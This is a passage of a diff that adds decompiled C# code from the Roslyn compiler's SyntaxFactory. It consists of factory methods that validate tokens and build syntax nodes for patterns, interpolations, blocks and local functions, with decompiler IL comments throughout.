(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ThrowExpressionSyntax ThrowExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return ThrowExpression(Token(SyntaxKind.ThrowKeyword), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WhenClauseSyntax WhenClause(SyntaxToken whenKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (whenKeyword.Kind() != SyntaxKind.WhenKeyword) + { + throw new ArgumentException("whenKeyword"); + } + if (condition == null) + { + throw new ArgumentNullException("condition"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.WhenClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.WhenClause((SyntaxToken)(object)((SyntaxToken)(ref whenKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)condition).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WhenClauseSyntax WhenClause(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return WhenClause(Token(SyntaxKind.WhenKeyword), condition); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DiscardPatternSyntax DiscardPattern(SyntaxToken underscoreToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (underscoreToken.Kind() != SyntaxKind.UnderscoreToken) + { + throw new ArgumentException("underscoreToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DiscardPatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DiscardPattern((SyntaxToken)(object)((SyntaxToken)(ref underscoreToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DiscardPatternSyntax DiscardPattern() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return DiscardPattern(Token(SyntaxKind.UnderscoreToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationPatternSyntax DeclarationPattern(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDesignationSyntax designation) + { + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (designation == null) + { + throw new ArgumentNullException("designation"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationPatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DeclarationPattern((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDesignationSyntax)(object)((SyntaxNode)designation).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.VarPatternSyntax VarPattern(SyntaxToken varKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDesignationSyntax designation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (varKeyword.Kind() != SyntaxKind.VarKeyword) + { + throw new ArgumentException("varKeyword"); + } + if (designation == null) + { + throw new ArgumentNullException("designation"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.VarPatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.VarPattern((SyntaxToken)(object)((SyntaxToken)(ref varKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDesignationSyntax)(object)((SyntaxNode)designation).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.VarPatternSyntax VarPattern(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDesignationSyntax designation) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return VarPattern(Token(SyntaxKind.VarKeyword), designation); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecursivePatternSyntax RecursivePattern(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? type, Microsoft.CodeAnalysis.CSharp.Syntax.PositionalPatternClauseSyntax? positionalPatternClause, Microsoft.CodeAnalysis.CSharp.Syntax.PropertyPatternClauseSyntax? propertyPatternClause, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDesignationSyntax? designation) + { + return (Microsoft.CodeAnalysis.CSharp.Syntax.RecursivePatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.RecursivePattern((type == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green), (positionalPatternClause == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PositionalPatternClauseSyntax)(object)((SyntaxNode)positionalPatternClause).Green), (propertyPatternClause == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PropertyPatternClauseSyntax)(object)((SyntaxNode)propertyPatternClause).Green), (designation == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDesignationSyntax)(object)((SyntaxNode)designation).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecursivePatternSyntax RecursivePattern() + { + return RecursivePattern(null, null, null, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PositionalPatternClauseSyntax PositionalPatternClause(SyntaxToken openParenToken, SeparatedSyntaxList subpatterns, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PositionalPatternClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PositionalPatternClause((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(subpatterns.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PositionalPatternClauseSyntax PositionalPatternClause(SeparatedSyntaxList subpatterns = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return PositionalPatternClause(Token(SyntaxKind.OpenParenToken), subpatterns, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PropertyPatternClauseSyntax PropertyPatternClause(SyntaxToken openBraceToken, SeparatedSyntaxList subpatterns, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken.Kind() != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + if (closeBraceToken.Kind() != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PropertyPatternClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PropertyPatternClause((SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(subpatterns.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PropertyPatternClauseSyntax PropertyPatternClause(SeparatedSyntaxList subpatterns = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return PropertyPatternClause(Token(SyntaxKind.OpenBraceToken), subpatterns, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SubpatternSyntax Subpattern(Microsoft.CodeAnalysis.CSharp.Syntax.BaseExpressionColonSyntax? expressionColon, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern) + { + if (pattern == null) + { + throw new ArgumentNullException("pattern"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SubpatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Subpattern((expressionColon == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseExpressionColonSyntax)(object)((SyntaxNode)expressionColon).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PatternSyntax)(object)((SyntaxNode)pattern).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SubpatternSyntax Subpattern(Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern) + { + return Subpattern(null, pattern); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstantPatternSyntax ConstantPattern(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ConstantPatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ConstantPattern((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedPatternSyntax ParenthesizedPattern(SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (pattern == null) + { + throw new ArgumentNullException("pattern"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedPatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ParenthesizedPattern((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PatternSyntax)(object)((SyntaxNode)pattern).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedPatternSyntax ParenthesizedPattern(Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedPattern(Token(SyntaxKind.OpenParenToken), pattern, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RelationalPatternSyntax RelationalPattern(SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + switch (operatorToken.Kind()) + { + default: + throw new ArgumentException("operatorToken"); + case SyntaxKind.LessThanToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.ExclamationEqualsToken: + case SyntaxKind.EqualsEqualsToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.GreaterThanEqualsToken: + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.RelationalPatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.RelationalPattern((SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypePatternSyntax TypePattern(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TypePatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TypePattern((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BinaryPatternSyntax BinaryPattern(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax left, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax right) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (kind - 9031 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + if (left == null) + { + throw new ArgumentNullException("left"); + } + SyntaxKind syntaxKind = operatorToken.Kind(); + if (syntaxKind - 8438 > SyntaxKind.List) + { + throw new ArgumentException("operatorToken"); + } + if (right == null) + { + throw new ArgumentNullException("right"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BinaryPatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.BinaryPattern(kind, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PatternSyntax)(object)((SyntaxNode)left).Green, (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PatternSyntax)(object)((SyntaxNode)right).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BinaryPatternSyntax BinaryPattern(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax left, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax right) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return BinaryPattern(kind, left, Token(GetBinaryPatternOperatorTokenKind(kind)), right); + } + + private static SyntaxKind GetBinaryPatternOperatorTokenKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.OrPattern => SyntaxKind.OrKeyword, + SyntaxKind.AndPattern => SyntaxKind.AndKeyword, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UnaryPatternSyntax UnaryPattern(SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (operatorToken.Kind() != SyntaxKind.NotKeyword) + { + throw new ArgumentException("operatorToken"); + } + if (pattern == null) + { + throw new ArgumentNullException("pattern"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.UnaryPatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.UnaryPattern((SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PatternSyntax)(object)((SyntaxNode)pattern).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UnaryPatternSyntax UnaryPattern(Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return UnaryPattern(Token(SyntaxKind.NotKeyword), pattern); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ListPatternSyntax ListPattern(SyntaxToken openBracketToken, SeparatedSyntaxList patterns, SyntaxToken closeBracketToken, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDesignationSyntax? designation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ListPatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ListPattern((SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(patterns.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node, (designation == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDesignationSyntax)(object)((SyntaxNode)designation).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ListPatternSyntax ListPattern(SeparatedSyntaxList patterns, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDesignationSyntax? designation) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return ListPattern(Token(SyntaxKind.OpenBracketToken), patterns, Token(SyntaxKind.CloseBracketToken), designation); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ListPatternSyntax ListPattern(SeparatedSyntaxList patterns = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return ListPattern(Token(SyntaxKind.OpenBracketToken), patterns, Token(SyntaxKind.CloseBracketToken), null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SlicePatternSyntax SlicePattern(SyntaxToken dotDotToken, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax? pattern) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (dotDotToken.Kind() != SyntaxKind.DotDotToken) + { + throw new ArgumentException("dotDotToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SlicePatternSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SlicePattern((SyntaxToken)(object)((SyntaxToken)(ref dotDotToken)).Node, (pattern == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PatternSyntax)(object)((SyntaxNode)pattern).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SlicePatternSyntax SlicePattern(Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax? pattern = null) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return SlicePattern(Token(SyntaxKind.DotDotToken), pattern); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringTextSyntax InterpolatedStringText(SyntaxToken textToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (textToken.Kind() != SyntaxKind.InterpolatedStringTextToken) + { + throw new ArgumentException("textToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringTextSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.InterpolatedStringText((SyntaxToken)(object)((SyntaxToken)(ref textToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringTextSyntax InterpolatedStringText() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return InterpolatedStringText(Token(SyntaxKind.InterpolatedStringTextToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationSyntax Interpolation(SyntaxToken openBraceToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationAlignmentClauseSyntax? alignmentClause, Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationFormatClauseSyntax? formatClause, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken.Kind() != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (closeBraceToken.Kind() != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Interpolation((SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (alignmentClause == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolationAlignmentClauseSyntax)(object)((SyntaxNode)alignmentClause).Green), (formatClause == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolationFormatClauseSyntax)(object)((SyntaxNode)formatClause).Green), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationSyntax Interpolation(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationAlignmentClauseSyntax? alignmentClause, Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationFormatClauseSyntax? formatClause) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return Interpolation(Token(SyntaxKind.OpenBraceToken), expression, alignmentClause, formatClause, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationSyntax Interpolation(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return Interpolation(Token(SyntaxKind.OpenBraceToken), expression, null, null, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationAlignmentClauseSyntax InterpolationAlignmentClause(SyntaxToken commaToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax value) + { + if (value == null) + { + throw new ArgumentNullException("value"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationAlignmentClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.InterpolationAlignmentClause((SyntaxToken)(object)((SyntaxToken)(ref commaToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)value).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationFormatClauseSyntax InterpolationFormatClause(SyntaxToken colonToken, SyntaxToken formatStringToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (formatStringToken.Kind() != SyntaxKind.InterpolatedStringTextToken) + { + throw new ArgumentException("formatStringToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationFormatClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.InterpolationFormatClause((SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref formatStringToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationFormatClauseSyntax InterpolationFormatClause(SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return InterpolationFormatClause(colonToken, Token(SyntaxKind.InterpolatedStringTextToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax GlobalStatement(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.GlobalStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax GlobalStatement(Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return GlobalStatement(default(SyntaxList), default(SyntaxTokenList), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax Block(SyntaxList attributeLists, SyntaxToken openBraceToken, SyntaxList statements, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken.Kind() != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + if (closeBraceToken.Kind() != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Block(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenList(statements.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax Block(SyntaxList attributeLists, SyntaxList statements) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return Block(attributeLists, Token(SyntaxKind.OpenBraceToken), statements, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax Block(SyntaxList statements = default(SyntaxList)) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Block(default(SyntaxList), Token(SyntaxKind.OpenBraceToken), statements, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalFunctionStatementSyntax LocalFunctionStatement(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxList constraintClauses, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + if (returnType == null) + { + throw new ArgumentNullException("returnType"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + SyntaxKind syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.LocalFunctionStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LocalFunctionStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), 